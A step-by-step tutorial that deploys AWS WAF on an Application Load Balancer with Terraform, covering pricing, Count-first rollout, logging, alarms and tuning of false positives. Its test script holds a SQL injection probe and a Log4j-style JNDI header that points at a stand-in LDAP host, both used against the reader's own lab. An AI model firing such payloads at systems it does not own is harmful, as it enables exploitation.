AWS WAF Setup on an ALB: 13 Steps, 60 Min [2026]

AWS describes AWS WAF as protection against common web exploits, built from managed rules, custom rules, Bot Control, account takeover prevention and fraud controls. This tutorial wires those pieces to a real Application Load Balancer in 13 steps and about 60 minutes. You will deploy the whole stack with Terraform, start in Count mode so nothing breaks, read the logs, and only then switch to Block.

The timing is practical. AWS recently published guidance on using AWS WAF to mitigate the PHP2Shell remote code execution flaws, CVE-2026-109618 and CVE-2026-109619. According to that post, the safe order is to turn on logging first and test rules in Count mode before you block anything. That is exactly the workflow below. If you are still choosing a vendor, our Cloudflare WAF vs AWS WAF vs Imperva comparison covers the trade-offs, and this guide assumes you already picked AWS.

Google · Preferred Sources

Don't miss new tech stories on Google

Add Tech Insider once in the Google app and our stories appear in your news suggestions.

Add Now

What Changed in AWS WAF This Autumn

The product name did not change. AWS WAF is still AWS WAF, and no rename, retirement or replacement has been announced. What did change is the guidance around it, and a few of those updates shape the choices in this tutorial. AWS WAF pricing still bills for web ACLs, rules and inspected requests. Charges are prorated hourly and prices vary by Region.

  • September 24, 2026: AWS Network Security Manager became generally available for centralized deployment of AWS WAF and Shield Advanced protections. It supports AWS WAF and is not a successor to it.
  • October 5, 2026: AWS documented rate-based aggregation by custom keys for MCP endpoints behind CloudFront and AWS WAF. The guidance lists evaluation windows of 60, 120, 300 or 600 seconds.
  • October 21, 2026: The PHP2Shell mitigation guidance mentioned above, which pushes a log-first, Count-first rollout.
  • October 30, 2026: AWS reportedly added automatic WAF JavaScript SDK integration for CloudFront distributions. AWS says the integration itself carries no extra charge, though the managed rule groups that use its signals still bill normally.
  • May 5, 2026: AWS announced AI traffic analysis dashboards for AWS WAF. According to a November 4 update to that announcement, they come at no additional cost to customers who are not on a paid flat-rate plan.

None of that alters the core pattern: a regional web ACL, a few managed rule groups, a rate-based rule and logging. The CloudFront SDK integration matters if you front your site with a CDN, but this tutorial protects an ALB directly. For a price-first view across clouds, the Cloudflare WAF vs AWS WAF vs Azure WAF breakdown lays the numbers side by side.

What You Will Build With AWS WAF and an ALB

The project is small on purpose. Traffic hits a public Application Load Balancer on port 80. The ALB forwards to a Lambda function that echoes basic request details as JSON. A regional web ACL sits in front of the ALB and runs four rules in priority order: a per-IP rate limit, the AWS common rule set, the known bad inputs rule set and the SQL injection rule set. Every request lands in a CloudWatch Logs group, and a CloudWatch alarm emails you through SNS when blocks spike.

A Lambda target keeps the lab cheap and fast. You do not patch servers, and the WAF behaves the same as it would in front of EC2 or ECS tasks. AWS WAF attaches to Application Load Balancers, not Network Load Balancers, so if you are weighing front doors, read our ALB vs NLB vs Cloudflare load balancing comparison before you commit to a design.

ComponentTerraform resourceJob in this project
Public load balanceraws_lb, aws_lb_listenerAccepts HTTP on port 80 and forwards to the target group
Backendaws_lambda_function, aws_lb_target_groupReturns request details as JSON so you can see what WAF let through
Web ACLaws_wafv2_web_aclHolds the rate-based rule and three AWS managed rule groups
Associationaws_wafv2_web_acl_associationAttaches the web ACL to the ALB
Loggingaws_cloudwatch_log_group, aws_wafv2_web_acl_logging_configurationRecords every request with the terminating rule and final action
Alertingaws_sns_topic, aws_cloudwatch_metric_alarmEmails you when blocked requests spike

The backend is a stand-in. If your real service is a Node framework, our AWS Lambda Web Functions guide shows a newer way to host an Express app on Lambda, and the web ACL steps below stay the same whatever sits behind the ALB.

One design choice deserves a sentence of explanation. The whole rollout hangs on a single Terraform variable called enforce. When it is false, every rule counts matches and blocks nothing. When it is true, the rules apply their real actions. That one switch gives you a safe way in and a fast way out, and it keeps the two modes from drifting apart in your code.

Prerequisites and Versions

You need a sandbox AWS account where you can create IAM roles, load balancers, Lambda functions, WAF resources, log groups and SNS topics. Administrator access is the easy route for a lab. If you are new to the tooling, our Terraform on AWS tutorial explains state and providers before you start.

RequirementVersion or settingCheck command
AWS CLIVersion 2.xaws –version
Terraform1.6 or newerterraform version
AWS provider5.x or newer (6.x works)terraform providers
Archive providerAny current releaseInstalled by terraform init
Lambda runtimepython3.13 (or any runtime Lambda still supports)Set in main.tf
NetworkDefault VPC with subnets in at least 2 Availability Zonesaws ec2 describe-subnets
Local toolsbash, curl, xargscurl –version
Regionus-east-1 in the examples (any Region works)aws configure get region

Budget about 60 minutes. Plan roughly 10 minutes for setup, 10 for the baseline ALB, 15 for the web ACL, 15 for testing and log reading, and 10 for enforcement and alerting. The ALB takes a couple of minutes to become active after the first apply, so start that step early and read the next section while you wait.

AWS WAF Pricing Before You Deploy

AWS WAF pricing has three moving parts: the web ACL, the rules inside it and the requests it inspects. Prices vary by Region and AWS prorates monthly charges hourly. The table below uses figures from AWS’s own pricing page and its worked examples, in the US East pricing shown there.

ItemPriceNotes
Web ACL$5.00 per monthOne ACL in this project
Each rule$1.00 per monthThe rate-based rule counts as one rule
Each managed rule group$1.00 per monthThree groups in this project. Marketplace sellers can add their own fees
Requests$0.60 per millionBilled on requests the web ACL inspects
Logging allowance500 MB per 1 million requestsCloudWatch Logs and vended-log ingestion. Extra volume bills at CloudWatch vended-log rates
Default capacity1,500 WCUs per web ACLLarger ACLs cost more per request
Bot Control$10.00 per month in AWS’s exampleTargeted Bot Control includes the first 1 million requests each month. Not used here

Now put those unit prices to work. The first row below is AWS’s own worked example. The other two rows are my arithmetic using the same unit prices for this project, which has one web ACL, three managed rule groups and one rate-based rule.

ScenarioWeb ACLRules and groupsRequestsMonthly total
AWS example: 19 rules, 10M requests$5.00$19.00$6.00$30.00
This project: 4 billable items, 10M requests$5.00$4.00$6.00$15.00
This project: 4 billable items, 22M requests$5.00$4.00$13.20$22.20

Those totals leave out the load balancer, Lambda and any log overage. AWS’s ELB pricing examples list $0.0225 per ALB-hour plus usage-based capacity unit charges, so a lab ALB left running for a month costs more than the firewall itself. Destroy the stack when you finish. CloudWatch Logs ingestion in AWS’s pricing examples runs about $0.50 per GB in US East, so log filtering (covered in the advanced tips) matters once real traffic arrives.

Phase 1: Prepare the Project and a Baseline ALB (Steps 1 to 5)

Before you add any firewall, build the unprotected system and prove it works. When a later test fails, you will know whether the web ACL or the plumbing caused it. Skipping this phase is the single most common reason people spend an hour debugging a WAF rule that was never the problem.

Step 1: Verify your AWS identity and Region

Confirm the CLI talks to the account you expect. Many WAF mistakes start with a wrong profile or Region, because regional web ACLs only attach to resources in the same Region.

aws sts get-caller-identity
aws configure get region
aws --version
terraform version

The first command prints your account ID and ARN. If the Region line comes back empty, run export AWS_REGION=us-east-1 or pass the Region in the Terraform variable you create next.

Step 2: Create the project skeleton

Make a folder with three configuration files. The enforce variable is the switch that moves every rule between Count and Block, so you can roll back with one flag.

mkdir -p waf-demo/lambda
cd waf-demo

cat > versions.tf <<'EOF'
terraform {
  required_version = ">= 1.6.0"

  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = ">= 5.0"
    }
    archive = {
      source = "hashicorp/archive"
    }
  }
}

provider "aws" {
  region = var.region
}
EOF

cat > variables.tf <<'EOF'
variable "region" {
  type    = string
  default = "us-east-1"
}

variable "project" {
  type    = string
  default = "waf-demo"
}

variable "enforce" {
  type        = bool
  default     = false
  description = "false = Count mode, true = Block mode"
}

variable "rate_limit" {
  type    = number
  default = 100
}

variable "alert_email" {
  type = string
}

variable "common_rule_overrides" {
  type    = list(string)
  default = []
}
EOF

echo 'alert_email = "[email protected]"' > terraform.tfvars

Replace the email address with one you can read. SNS will send a confirmation message there in Step 12.

Step 3: Write the Lambda backend

The function returns the request path, method, query string and caller IP. The ALB adds an x-forwarded-for header, which is how you will see the client address later. The response shape matters: an ALB target needs statusCode, statusDescription, isBase64Encoded, headers and body.

cat > lambda/app.py <<'EOF'
import json


def handler(event, context):
    headers = event.get("headers") or {}
    body = {
        "ok": True,
        "path": event.get("path"),
        "method": event.get("httpMethod"),
        "client_ip": headers.get("x-forwarded-for", "unknown").split(",")[0].strip(),
        "query": event.get("queryStringParameters") or {},
    }
    return {
        "statusCode": 200,
        "statusDescription": "200 OK",
        "isBase64Encoded": False,
        "headers": {"Content-Type": "application/json"},
        "body": json.dumps(body),
    }
EOF

Step 4: Define the ALB, security group and Lambda target

Create main.tf. It looks up the default VPC and its subnets, packages the function, grants the load balancer permission to invoke it and wires a listener to a Lambda target group. The permission resource must exist before the target group attachment, which is why the attachment declares depends_on.

cat > main.tf <<'EOF'
data "aws_vpc" "default" {
  default = true
}

data "aws_subnets" "default" {
  filter {
    name   = "vpc-id"
    values = [data.aws_vpc.default.id]
  }
}

resource "aws_security_group" "alb" {
  name_prefix = "${var.project}-alb-"
  description = "Public HTTP to the demo ALB"
  vpc_id      = data.aws_vpc.default.id

  ingress {
    description = "HTTP from anywhere"
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  egress {
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
  }
}

data "archive_file" "lambda" {
  type        = "zip"
  source_file = "${path.module}/lambda/app.py"
  output_path = "${path.module}/app.zip"
}

resource "aws_iam_role" "lambda" {
  name = "${var.project}-lambda"

  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Effect    = "Allow"
      Action    = "sts:AssumeRole"
      Principal = { Service = "lambda.amazonaws.com" }
    }]
  })
}

resource "aws_iam_role_policy_attachment" "lambda_logs" {
  role       = aws_iam_role.lambda.name
  policy_arn = "arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole"
}

resource "aws_lambda_function" "app" {
  function_name    = "${var.project}-app"
  role             = aws_iam_role.lambda.arn
  runtime          = "python3.13"
  handler          = "app.handler"
  filename         = data.archive_file.lambda.output_path
  source_code_hash = data.archive_file.lambda.output_base64sha256
  timeout          = 5
}

resource "aws_lb" "app" {
  name               = "${var.project}-alb"
  load_balancer_type = "application"
  subnets            = data.aws_subnets.default.ids
  security_groups    = [aws_security_group.alb.id]
}

resource "aws_lb_target_group" "lambda" {
  name        = "${var.project}-tg"
  target_type = "lambda"
}

resource "aws_lambda_permission" "alb" {
  statement_id  = "AllowExecutionFromALB"
  action        = "lambda:InvokeFunction"
  function_name = aws_lambda_function.app.function_name
  principal     = "elasticloadbalancing.amazonaws.com"
  source_arn    = aws_lb_target_group.lambda.arn
}

resource "aws_lb_target_group_attachment" "lambda" {
  target_group_arn = aws_lb_target_group.lambda.arn
  target_id        = aws_lambda_function.app.arn
  depends_on       = [aws_lambda_permission.alb]
}

resource "aws_lb_listener" "http" {
  load_balancer_arn = aws_lb.app.arn
  port              = 80
  protocol          = "HTTP"

  default_action {
    type             = "forward"
    target_group_arn = aws_lb_target_group.lambda.arn
  }
}
EOF

cat > outputs.tf <<'EOF'
output "alb_dns_name" {
  value = aws_lb.app.dns_name
}

output "alb_arn" {
  value = aws_lb.app.arn
}
EOF

The listener uses plain HTTP to keep the lab short. Real traffic belongs on HTTPS with an ACM certificate, and the WAF behaves the same on either listener. The security group is open to the world on purpose, because the point of the exercise is to attack your own endpoint.

Step 5: Deploy and test the unprotected baseline

Run the first apply. Terraform creates nine resources. Give the ALB a minute or two after the apply finishes, then hit it with curl.

terraform init
terraform apply -auto-approve

ALB="http://$(terraform output -raw alb_dns_name)"
curl -s "$ALB/?hello=world"

Expected output (your DNS name and IP will differ):

Apply complete! Resources: 9 added, 0 changed, 0 destroyed.

Outputs:

alb_arn = "arn:aws:elasticloadbalancing:us-east-1:123456789012:loadbalancer/app/waf-demo-alb/50dc6c495c0c9188"
alb_dns_name = "waf-demo-alb-1234567890.us-east-1.elb.amazonaws.com"

{"ok": true, "path": "/", "method": "GET", "client_ip": "203.0.113.25", "query": {"hello": "world"}}

If you see a Bad Gateway error or a connection error, jump to the troubleshooting table. A working baseline means every later failure points at WAF, which is the whole reason to build it first.

Phase 2: Build the Web ACL (Steps 6 to 8)

Now the firewall. The web ACL defaults to allow, so only traffic that matches a rule gets touched. Every rule starts in Count mode, which logs a match without blocking it. AWS evaluates rules from the lowest priority number to the highest, and the first rule with a terminating action decides the outcome. The rate limit gets priority 1 so abusive clients are cut off before the more expensive pattern matching runs.

Step 6: Create the web ACL with three managed rule groups

Managed rule groups are AWS-maintained rule sets. This project uses the common rule set for broad web exploits, the known bad inputs rule set for payloads such as Log4j-style strings, and the SQL injection rule set. The ACL loops over a local map so each group shares the same Count-or-Block logic. A Count override on a managed group logs matches without acting on them, and removing the override hands control back to each rule’s own action.

cat > waf.tf <<'EOF'
locals {
  managed_groups = {
    AWSManagedRulesCommonRuleSet         = 10
    AWSManagedRulesKnownBadInputsRuleSet = 20
    AWSManagedRulesSQLiRuleSet           = 30
  }
}

resource "aws_wafv2_web_acl" "alb" {
  name        = "${var.project}-web-acl"
  description = "Managed rules and rate limiting for the demo ALB"
  scope       = "REGIONAL"

  default_action {
    allow {}
  }

  dynamic "rule" {
    for_each = local.managed_groups

    content {
      name     = rule.key
      priority = rule.value

      override_action {
        dynamic "count" {
          for_each = var.enforce ? [] : [1]
          content {}
        }
        dynamic "none" {
          for_each = var.enforce ? [1] : []
          content {}
        }
      }

      statement {
        managed_rule_group_statement {
          name        = rule.key
          vendor_name = "AWS"

          dynamic "rule_action_override" {
            for_each = rule.key == "AWSManagedRulesCommonRuleSet" ? var.common_rule_overrides : []
            content {
              name = rule_action_override.value
              action_to_use {
                count {}
              }
            }
          }
        }
      }

      visibility_config {
        cloudwatch_metrics_enabled = true
        metric_name                = rule.key
        sampled_requests_enabled   = true
      }
    }
  }

  visibility_config {
    cloudwatch_metrics_enabled = true
    metric_name                = "${var.project}-web-acl"
    sampled_requests_enabled   = true
  }
}
EOF

Rule groups are independently versioned, and their default version can change unless you pin one. That is fine for a lab. In production you will want to pin versions and test updates first, which the advanced tips cover.

Step 7: Add the rate-based rule

A rate-based rule counts requests per aggregation key over a window and acts once the count passes your limit. By default the key is the source IP, per AWS’s October 5 guidance, and the supported evaluation windows are 60, 120, 300 and 600 seconds. This rule allows 100 requests per IP per 60 seconds, then returns HTTP 429 in Block mode. Paste the block inside the aws_wafv2_web_acl resource, right after default_action.

  rule {
    name     = "rate-limit-per-ip"
    priority = 1

    action {
      dynamic "count" {
        for_each = var.enforce ? [] : [1]
        content {}
      }
      dynamic "block" {
        for_each = var.enforce ? [1] : []
        content {
          custom_response {
            response_code = 429
          }
        }
      }
    }

    statement {
      rate_based_statement {
        limit                 = var.rate_limit
        aggregate_key_type    = "IP"
        evaluation_window_sec = 60
      }
    }

    visibility_config {
      cloudwatch_metrics_enabled = true
      metric_name                = "rate-limit-per-ip"
      sampled_requests_enabled   = true
    }
  }

Rate limiting works best as one layer in a stack. If you also run a CDN, the Cloudflare rate limiting with Terraform guide applies the same idea at the edge, so abusive clients never reach your load balancer.

Step 8: Associate the web ACL with the ALB

A web ACL does nothing until you attach it to a resource. Add the association, then apply.

cat >> waf.tf <<'EOF'

resource "aws_wafv2_web_acl_association" "alb" {
  resource_arn = aws_lb.app.arn
  web_acl_arn  = aws_wafv2_web_acl.alb.arn
}
EOF

terraform apply -auto-approve

aws wafv2 get-web-acl-for-resource \
  --resource-arn "$(terraform output -raw alb_arn)" \
  --region us-east-1 \
  --query 'WebACL.{Name:Name,Default:DefaultAction}'

The CLI call proves the attachment worked. Expected output:

{
    "Name": "waf-demo-web-acl",
    "Default": {
        "Allow": {}
    }
}

The apply adds two resources, the web ACL and the association. A new association can take a short while to propagate, so wait about a minute before you rely on it.

Phase 3: Turn On Logging (Step 9)

Step 9: Send WAF logs to CloudWatch Logs with redaction

AWS WAF can deliver logs to CloudWatch Logs, Amazon S3 or Amazon Data Firehose. Each record carries the headers, the terminating rule, any labels and the final action. CloudWatch Logs is the quickest choice for a first deployment because you can query it immediately. One hard rule: the log group name must start with aws-waf-logs- and live in the same Region as the web ACL.

The configuration below also redacts the authorization and cookie headers so credentials never land in your logs. It deliberately has no logging filter yet. During the learning phase you want every request on record.

cat >> waf.tf <<'EOF'

resource "aws_cloudwatch_log_group" "waf" {
  name              = "aws-waf-logs-${var.project}"
  retention_in_days = 30
}

resource "aws_wafv2_web_acl_logging_configuration" "alb" {
  resource_arn            = aws_wafv2_web_acl.alb.arn
  log_destination_configs = [aws_cloudwatch_log_group.waf.arn]

  redacted_fields {
    single_header {
      name = "authorization"
    }
  }

  redacted_fields {
    single_header {
      name = "cookie"
    }
  }
}
EOF

terraform apply -auto-approve

Your IAM identity needs permission to create log delivery and a log resource policy, otherwise the apply fails with an access error. WAF includes 500 MB of log ingestion per million requests, so a lab will not generate a bill from logs. Open a live tail in a second terminal so you can watch requests arrive.

aws logs tail aws-waf-logs-waf-demo --follow --region us-east-1

Phase 4: Test in Count Mode (Step 10)

Step 10: Generate test traffic and read the logs

Save a test script that fires four kinds of traffic: a clean request, a SQL injection probe, a Log4j-style header probe and a burst of 300 requests. The payloads are inert strings. The Lambda only echoes them back as JSON.

cat > test.sh <<'EOF'
#!/usr/bin/env bash
set -euo pipefail
ALB="http://$(terraform output -raw alb_dns_name)"

echo "1) clean request"
curl -s -o /dev/null -w "%{http_code}\n" "$ALB/"

echo "2) SQL injection probe"
curl -s -o /dev/null -w "%{http_code}\n" -G "$ALB/" --data-urlencode "id=1' OR '1'='1"

echo "3) Log4j-style header probe"
curl -s -o /dev/null -w "%{http_code}\n" -H 'X-Api-Version: ${jndi:ldap://example.test/a}' "$ALB/"

echo "4) burst of 300 requests"
seq 1 300 | xargs -P 25 -I{} curl -s -o /dev/null -w "%{http_code}\n" "$ALB/" | sort | uniq -c
EOF
chmod +x test.sh
./test.sh

In Count mode every request should return 200, because nothing blocks yet. Expected output:

1) clean request
200
2) SQL injection probe
200
3) Log4j-style header probe
200
4) burst of 300 requests
    300 200

The interesting part is in the logs. Each record is a JSON document. Here is a trimmed example of what the SQL injection probe leaves behind in Count mode. The request still gets the default allow, but the SQL injection group notes a counted match inside the record.

{
  "timestamp": 1793790000000,
  "webaclId": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/waf-demo-web-acl/a1b2c3d4-0000-0000-0000-000000000000",
  "terminatingRuleId": "Default_Action",
  "terminatingRuleType": "REGULAR",
  "action": "ALLOW",
  "ruleGroupList": [
    {
      "ruleGroupId": "AWS#AWSManagedRulesSQLiRuleSet",
      "terminatingRule": null,
      "nonTerminatingMatchingRules": [
        { "ruleId": "SQLi_QUERYARGUMENTS", "action": "COUNT" }
      ]
    }
  ],
  "httpRequest": {
    "clientIp": "203.0.113.25",
    "country": "US",
    "uri": "/",
    "args": "id=1%27+OR+%271%27%3D%271",
    "httpMethod": "GET"
  }
}

Open the log group in CloudWatch Logs Insights and run these queries. The first shows traffic by terminating rule and action. The second finds requests that the SQL injection group matched while it was in Count mode.

stats count(*) as hits by terminatingRuleId, action
| sort hits desc

fields @timestamp, httpRequest.clientIp, httpRequest.args
| filter @message like /SQLi_QUERYARGUMENTS/
| sort @timestamp desc
| limit 20

Because the rules run in Count mode, the terminating rule for most records is the default action, and the matches show up as non-terminating rule entries inside the record. Search the raw message for Log4JRCE_HEADER and rate-limit-per-ip to confirm that the other probes registered too. If the rate rule has not matched yet, wait a minute and re-run the burst, because rate-based rules evaluate over a window and do not react instantly.

Spend real time here on a real application. Replay a day of production-like traffic, then review which rules matched legitimate requests. Every false positive you catch now is an outage you avoid later.

Phase 5: Enforce and Alert (Steps 11 and 12)

Step 11: Flip the web ACL from Count to Block

When the logs show no legitimate traffic matching, switch the variable. The rate rule now returns 429, and each managed group applies its own block actions instead of counting.

terraform apply -auto-approve -var enforce=true
sleep 60
./test.sh

Example output (the burst split varies from run to run):

1) clean request
200
2) SQL injection probe
403
3) Log4j-style header probe
403
4) burst of 300 requests
    104 200
    196 429

The SQL injection and Log4j-style probes now hit a 403 from the managed groups. The burst shows the rate rule at work, with early requests passing and later ones refused with 429. Your exact split will differ because the rule evaluates on a rolling window and takes some time to start blocking.

Be clear about what this does not do. A web ACL filters application-layer requests. It does not absorb a volumetric flood, which is a job for Shield and your network edge. Our Cloudflare vs AWS Shield vs Akamai DDoS comparison shows where each product draws that line. Also remember the real fix for PHP2Shell-style bugs is patching. WAF rules buy you time while the patch rolls out.

Step 12: Add a CloudWatch alarm and SNS email

Blocking silently is a bad habit. This alarm watches the web ACL-wide BlockedRequests metric and emails you when 50 or more requests get blocked inside one minute. Tune the threshold to your normal noise level.

cat >> waf.tf <<'EOF'

resource "aws_sns_topic" "alerts" {
  name = "${var.project}-waf-alerts"
}

resource "aws_sns_topic_subscription" "email" {
  topic_arn = aws_sns_topic.alerts.arn
  protocol  = "email"
  endpoint  = var.alert_email
}

resource "aws_cloudwatch_metric_alarm" "blocked_spike" {
  alarm_name          = "${var.project}-blocked-spike"
  namespace           = "AWS/WAFV2"
  metric_name         = "BlockedRequests"
  statistic           = "Sum"
  period              = 60
  evaluation_periods  = 1
  threshold           = 50
  comparison_operator = "GreaterThanOrEqualToThreshold"
  treat_missing_data  = "notBreaching"
  alarm_actions       = [aws_sns_topic.alerts.arn]

  dimensions = {
    WebACL = aws_wafv2_web_acl.alb.name
    Region = var.region
    Rule   = "ALL"
  }
}
EOF

terraform apply -auto-approve -var enforce=true

Check your inbox and click the SNS confirmation link, otherwise the alarm fires into the void. Then rerun ./test.sh and watch the alarm move to the ALARM state within a few minutes. Keep -var enforce=true on every apply from here on, or set it in terraform.tfvars so you do not flip the ACL back to Count by accident.

Phase 6: Tune False Positives (Step 13)

Step 13: Override noisy rules instead of disabling groups

Sooner or later a managed rule blocks something legitimate. A classic example is the body size rule in the common rule set rejecting a large file upload. Do not remove the whole group. Switch just that rule to Count and keep every other rule active.

echo 'common_rule_overrides = ["SizeRestrictions_BODY"]' >> terraform.tfvars
echo 'enforce = true' >> terraform.tfvars
terraform apply -auto-approve

The dynamic rule_action_override block from Step 6 turns that single rule into a counter. Work through false positives in this order:

  • Find the rule name in the log record, under the terminating rule or the rule group list.
  • Count the matches in Logs Insights for a full business cycle, not one afternoon.
  • Override only the rule that misfires, and add a scope-down statement or label exclusion if the problem is limited to one path.
  • Write down why you overrode it, with a date, so the next engineer does not remove the exception blindly.
  • Promote rules to Block gradually. Put the riskiest group in Count the longest.

AWS’s own operating guidance follows the same loop: test in Count mode, review sampled requests, tune, then promote to Block step by step. If an override breaks something, set enforce = false and apply. That is your rollback, and it takes a minute.

Common Pitfalls With AWS WAF on an ALB

These are the mistakes that cause most first-week WAF incidents.

  • Blocking on day one. Managed rules are tuned for the average web app, not yours. A Count-first rollout with logs on is the only safe route.
  • Wrong log group name or Region. The name must start with aws-waf-logs-, and a regional web ACL logs only to a destination in its own Region.
  • Wrong scope. A REGIONAL ACL protects ALBs and API Gateway REST API stages. A CloudFront distribution needs a CLOUDFRONT-scope ACL created in us-east-1. Mixing them up produces association errors. Our AWS API Gateway REST API tutorial walks through the stage side of that setup.
  • Rate limits behind shared IPs. Offices, schools and mobile carriers put thousands of users behind one address. An IP-based limit can block all of them. Use a forwarded-IP key behind a proxy or pick a custom aggregation key such as an API token header.
  • Assuming rate rules act instantly. They evaluate over a window and lag behind a burst. Treat them as a brake on sustained abuse, not a gate that closes at request 101.
  • Forgetting the body inspection cap. According to AWS’s October 26 documentation, a web ACL attached to an ALB inspects at most 8 KB of the request body, and you cannot raise that limit. Large payloads can carry content past body rules, so pair WAF with input validation in the app.
  • Running out of capacity. Each ACL has a default 1,500 WCU limit. Past that, requests cost more. Check a group’s cost with aws wafv2 describe-managed-rule-group before you add it.
  • Logging everything forever. Full logs are right while learning and wasteful at scale. Add a logging filter and a retention period before traffic grows.
  • Unpinned rule group versions. Because managed groups are versioned independently and the default version can change, a silent update can start blocking real users. Pin versions and test new ones in Count mode first.

Troubleshooting AWS WAF Setup Errors

SymptomLikely causeFix
Apply fails creating the logging configurationLog group name does not start with aws-waf-logs-Rename the group, then apply again
AccessDenied on the logging configurationYour IAM identity cannot create log delivery or a log resource policyGrant the log delivery and resource policy actions on CloudWatch Logs, then retry
Unsupported argument: evaluation_window_secAWS provider is too oldRun terraform init -upgrade and pin version to 5.x or newer
ALB creation fails with a subnet errorNo default VPC, or subnets in fewer than 2 Availability ZonesCreate two subnets in different zones and pass their IDs to the ALB
Curl returns a Bad Gateway errorMissing invoke permission or a malformed Lambda responseConfirm the aws_lambda_permission exists and the function returns statusCode, statusDescription, isBase64Encoded, headers and body
Association fails with an unavailable entity errorThe ALB is still provisioningWait until the ALB state is active, then rerun apply
SQL injection probe still returns 200 in Block modeenforce is still false, the ACL is not attached, or the payload was not URL-encodedCheck terraform output, run get-web-acl-for-resource, and send the probe with curl -G and –data-urlencode
Rate rule never blocksLimit too high, test traffic too slow, or window lagLower rate_limit to 20 for the test, send the burst again, and wait a minute
No log records appearWrong Region or log group, or a short propagation delayVerify the log group ARN in the logging configuration and wait a minute
Alarm stays in INSUFFICIENT_DATAMetric dimensions do not matchUse WebACL, Region and Rule=ALL exactly, and keep treat_missing_data set to notBreaching
WAFLimitsExceededException on applyCombined rules exceed the ACL capacityDrop a group or trim rules until the total fits within the ACL capacity
terraform destroy hangs on the web ACLThe ACL is still associated with a resourceDestroy the association first, wait a minute, then rerun destroy

Advanced AWS WAF Tips

Filter the logs. Once the lab works, cut logging volume by keeping only the records that matter. Add a filter inside the logging configuration that drops everything by default and keeps blocks and counted matches. Test it against your own traffic, because the filter matches on the action recorded for each request.

  logging_filter {
    default_behavior = "DROP"

    filter {
      behavior    = "KEEP"
      requirement = "MEETS_ANY"

      condition {
        action_condition {
          action = "BLOCK"
        }
      }

      condition {
        action_condition {
          action = "COUNT"
        }
      }

      condition {
        action_condition {
          action = "EXCLUDED_AS_COUNT"
        }
      }
    }
  }

Scope the rate limit to risky paths. A global 100-per-minute cap is blunt. Login and password-reset endpoints deserve a much tighter limit. Add a scope-down statement to the rate-based rule so it counts only requests to that path.

      rate_based_statement {
        limit                 = 20
        aggregate_key_type    = "IP"
        evaluation_window_sec = 300

        scope_down_statement {
          byte_match_statement {
            search_string         = "/login"
            positional_constraint = "STARTS_WITH"

            field_to_match {
              uri_path {}
            }

            text_transformation {
              priority = 0
              type     = "LOWERCASE"
            }
          }
        }
      }

Pin managed rule group versions. List the versions AWS offers, then add a version argument to the managed rule group statement.

aws wafv2 list-available-managed-rule-group-versions \
  --vendor-name AWS \
  --name AWSManagedRulesCommonRuleSet \
  --scope REGIONAL \
  --region us-east-1

AWS says it announces managed-rule updates through SNS notifications and the WAF Developer Guide. Subscribe to the notifications so a version bump never surprises you.

Use custom aggregation keys for APIs. IP is a poor key for authenticated APIs and for MCP-style endpoints. AWS’s October 5 guidance describes aggregating on custom keys, such as a header or tool name, with a 60 to 600 second window. That gives each client or tool its own budget.

Ship logs to S3 for the long term. Delivery to S3 carries no vended-log charge apart from Parquet conversion, while CloudWatch Logs and Firehose bill as vended logs. For a busy site, keep a short CloudWatch retention for live debugging and archive everything else to S3.

Centralize across accounts. Teams with many accounts can use Firewall Manager or the newer Network Security Manager to push the same WAF policy everywhere. If your team prefers CloudFormation to Terraform, AWS also keeps a public CloudFormation sample for ALBs with managed rules in its aws-samples repository. Check its structure against this project, since it comes from an older blog post.

Compare before you commit. If you run more than one CDN or cloud, set up the same rules elsewhere and compare the operational cost. Our Cloudflare WAF setup guide is the closest match, and the cloud computing section collects the rest of our AWS, Azure and Google Cloud tutorials.

The Complete Project and Clean Up

When you finish, your folder holds the full working project. Each file maps to a step above.

waf-demo/
  versions.tf        Step 2: providers and Terraform version
  variables.tf       Step 2: enforce, rate_limit, alert_email, overrides
  terraform.tfvars   Steps 2 and 13: your email, enforce, overrides
  lambda/app.py      Step 3: ALB-compatible Lambda handler
  main.tf            Step 4: ALB, security group, Lambda, listener
  outputs.tf         Step 4: ALB DNS name and ARN
  waf.tf             Steps 6 to 9 and 12: ACL, rules, association, logs, alarm
  test.sh            Step 10: clean, SQLi, Log4j-style and burst tests

The full stack ends up at 16 resources: nine from the baseline, two for the ACL and association, two for logging and three for alerting. To reproduce it from scratch, run terraform init, then terraform apply -var enforce=false, review logs, then terraform apply -var enforce=true.

Tear it down as soon as you finish. A running ALB bills by the hour, and the web ACL and rules bill by the month, prorated hourly.

terraform destroy -auto-approve
aws wafv2 list-web-acls --scope REGIONAL --region us-east-1
aws logs describe-log-groups --log-group-name-prefix aws-waf-logs- --region us-east-1

Both listing commands should come back empty for your demo resources. If the destroy stalls on the web ACL, destroy the association first as described in the troubleshooting table.

AWS WAF Setup FAQ

How much does an AWS WAF web ACL cost?

AWS bills for the web ACL, each rule, each managed rule group and the requests inspected. Its pricing page lists $5.00 per month per web ACL, $1.00 per month per rule or managed rule group and $0.60 per million requests in its worked examples. Prices vary by Region, and AWS prorates monthly charges hourly.

Should I start in Count mode or Block mode?

Start in Count mode with logging on. Count mode records what a rule would have blocked without touching live traffic. Review the matches, tune the noisy rules, then promote to Block.

Where can AWS WAF send its logs?

AWS WAF delivers logs to CloudWatch Logs, Amazon S3 or Amazon Data Firehose. Delivery to CloudWatch Logs and Firehose bills as vended-log delivery, while S3 delivery is free apart from Parquet conversion. AWS WAF pricing includes 500 MB of log ingestion per 1 million requests.

Are AWS managed rule groups free?

No. Each managed rule group you add to a web ACL costs $1.00 per month, prorated hourly, on top of normal WAF charges. Marketplace rule groups can add seller-set fees, and Bot Control and Fraud Control carry their own charges.

Which evaluation windows can a rate-based rule use?

AWS’s guidance lists evaluation windows of 60, 120, 300 and 600 seconds. This tutorial uses 60 seconds for the main rule and 300 seconds in the login example.

Does Network Security Manager replace AWS WAF?

No. Network Security Manager is a management and deployment service that supports AWS WAF. It does not replace it, and you still define web ACLs, rules and logging.

Do managed rules update on their own?

Each managed rule group is versioned independently, and the default version can change unless you pin one. Pin versions in production and test any new version in Count mode first.

How do I roll back a bad rule quickly?

